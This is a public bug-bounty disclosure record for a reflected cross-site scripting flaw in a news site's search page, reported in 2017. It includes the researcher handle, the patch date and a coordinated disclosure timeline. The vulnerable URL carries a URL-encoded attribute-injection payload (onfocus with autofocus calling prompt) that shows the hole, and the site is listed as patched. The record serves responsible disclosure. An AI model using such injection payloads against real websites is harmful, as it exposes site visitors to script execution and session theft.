propublica.org XSS vulnerability

2017-06-30T12:40:00
ID OBB:255317
Type openbugbounty
Reporter hackdemonium
Modified 2017-07-06T12:51:00

Description

Vulnerable URL:
https://www.propublica.org/search/search.php?qss=a%27aa%22onfocus%3Dprompt%28%2FOPENBUGBOUNTY%2F%29+autofocus%3Dx+bad%3D%22%3E%22%3E
Details:

Description| Value
---|---
Patched:| Yes, at 03.07.2017
Latest check for patch:| 03.07.2017 17:22 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 17850
VIP website status:| Yes

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 30 June, 2017 12:40 GMT
Vulnerability existence verified and confirmed| 3 July, 2017 05:19 GMT
Generic security notifications sent to website owner| 3 July, 2017 05:19 GMT
Customized security notification sent to website owner| 3 July, 2017 05:19 GMT
Notification sent to subscribers (without technical details)| 3 July, 2017 06:17 GMT
Vulnerability patched by the website owner| 3 July, 2017 17:38 GMT
Vulnerability details disclosed by researcher| 6 July, 2017 12:51 GMT